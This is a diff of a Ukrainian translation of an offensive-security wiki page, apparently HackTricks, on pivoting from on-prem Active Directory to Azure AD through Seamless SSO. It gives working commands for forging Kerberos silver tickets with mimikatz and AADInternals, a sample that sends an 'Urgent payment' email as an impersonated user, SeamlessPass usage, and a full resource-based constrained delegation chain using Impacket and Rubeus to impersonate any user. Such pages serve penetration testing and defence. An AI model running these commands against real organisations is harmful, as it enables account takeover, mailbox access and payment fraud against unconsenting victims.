+> [!NOTE] +> З поточною інформацією ви можете просто використовувати інструмент **SeamlessPass**, як зазначено раніше, щоб отримати токени azure та entraid для будь-якого користувача в домені. +> Ви також можете використовувати попередні техніки (та інші), щоб отримати хеш пароля жертви, яку ви хочете видати за себе, замість облікового запису `AZUREADSSOACC$`. + +#### Creating Silver Tickets + З хешем ви тепер можете **генерувати срібні квитки**: ```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier # Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit +Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' +mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit # Create silver ticket with AADInternal to access Exchange Online $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" @@ -53,57 +108,84 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` -Щоб використати срібний квиток, слід виконати наступні кроки: +### Використання Silver Tickets з Firefox + +Щоб використати silver ticket, слід виконати наступні кроки: 1. **Запустіть браузер:** Потрібно запустити Mozilla Firefox. 2. **Налаштуйте браузер:** - Перейдіть до **`about:config`**. -- Встановіть параметр для [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) на вказані [значення](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): -- `https://aadg.windows.net.nsatc.net` -- `https://autologon.microsoftazuread-sso.com` +- Встановіть параметр для [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) на вказане [значення](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): +- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` +- Перейдіть до `Налаштування` Firefox > Знайдіть `Дозволити одноразовий вхід Windows для облікових записів Microsoft, робочих і навчальних` і увімкніть його. 3. **Доступ до веб-додатку:** -- Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є [Office 365](https://portal.office.com/). +- Відвідайте веб-додаток, інтегрований з доменом AAD організації. Загальним прикладом є [login.microsoftonline.com](https://login.microsoftonline.com/). 4. **Процес аутентифікації:** - На екрані входу введіть ім'я користувача, залишивши поле пароля порожнім. - Щоб продовжити, натисніть TAB або ENTER. -> [!TIP] -> Це не обходить MFA, якщо вона увімкнена +> [!WARNING] +> Це **не обходить MFA, якщо вона увімкнена** для користувача. -#### Варіант 2 без dcsync - SeamlessPass - -Цей напад також можна виконати **без атаки dcsync**, щоб бути більш непомітним, як [пояснено в цьому блозі](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Для цього вам потрібен лише один з наступних: - -- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати його, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Золотий квиток:** Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача. -- **NTLM хеш або AES ключ скомпрометованого користувача:** SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT. -- **NTLM хеш або AES ключ облікового запису AZUREADSSOACC$:** З цією інформацією та ідентифікатором безпеки (SID) користувача, якого потрібно атакувати, можливо створити сервісний квиток і аутентифікуватися в хмарі (як виконано в попередньому методі). - -Нарешті, з TGT можливо використовувати інструмент [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) з: -``` -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -``` -Додаткова інформація про налаштування Firefox для роботи з seamless SSO може бути [**знайдена в цьому блозі**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). - -#### ~~Створення квитків Kerberos для користувачів тільки в хмарі~~ - -Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів тільки в хмарі**. Єдина вимога полягає в тому, що SID є правильним [SID](). - -> [!CAUTION] -> Зміна SID для адміністраторів тільки в хмарі зараз **блокована Microsoft**.\ -> Для отримання інформації перевірте [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) ### On-prem -> Cloud через обмежену делегацію на основі ресурсів -Будь-хто, хто може керувати обліковими записами комп'ютерів (`AZUREADSSOACC$`) у контейнері або OU, в якому знаходиться цей обліковий запис, може **налаштувати обмежену делегацію на основі ресурсів для облікового запису та отримати до нього доступ**. -```python -python rbdel.py -u \\ -p azureadssosvc$ +Для виконання атаки потрібно: + +- `WriteDACL` / `GenericWrite` над `AZUREADSSOACC$` +- Обліковий запис комп'ютера, яким ви керуєте (хеш і пароль) - ви можете створити один + + +1. Крок 1 – Додайте свій власний обліковий запис комп'ютера +- Створює `ATTACKBOX$` і виводить його SID/NTLM хеш. Будь-який доменний користувач може це зробити, якщо MachineAccountQuota > 0 +```bash +# Impacket +python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ +-computer ATTACKBOX$ -password S3cureP@ss ``` +2. Крок 2 – Надати RBCD на `AZUREADSSOACC$` - Записує SID вашої машини в `msDS-AllowedToActOnBehalfOfOtherIdentity`. +```bash +python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ +ATTACKBOX$ AZUREADSSOACC$ + +# Or, from Windows: +$SID = (Get-ADComputer ATTACKBOX$).SID +Set-ADComputer AZUREADSSOACC$ ` +-PrincipalsAllowedToDelegateToAccount $SID +``` +3. Крок 3 – Підробити TGS для будь-якого користувача (наприклад, alice) +```bash +# Using your machine's password or NTLM hash +python3 getST.py -dc-ip 192.168.1.10 \ +-spn HTTP/autologon.microsoftazuread-sso.com \ +-impersonate alice \ +DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 + +# Produces alice.autologon.ccache + +#Or, from Windows: +Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` +/impersonateuser:alice ` +/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt +``` +Ви тепер можете використовувати **TGS для доступу до ресурсів Azure як підроблений користувач.** + + +### ~~Створення квитків Kerberos для користувачів тільки в хмарі~~ + +Якщо адміністратори Active Directory мають доступ до Azure AD Connect, вони можуть **встановити SID для будь-якого користувача в хмарі**. Таким чином, квитки Kerberos **можна створити також для користувачів тільки в хмарі**. Єдина вимога полягає в тому, що SID має бути правильним [SID](). + +> [!CAUTION] +> Зміна SID користувачів-адміністраторів тільки в хмарі тепер **блокована Microsoft**.\ +> Для отримання інформації перевірте [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) + + + ## Посилання - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: Я у вашому хмарі, читаю електронні листи всіх - злом Azure AD через Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Я у вашій хмарі, читаю електронні листи всіх - злом Azure AD через Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}}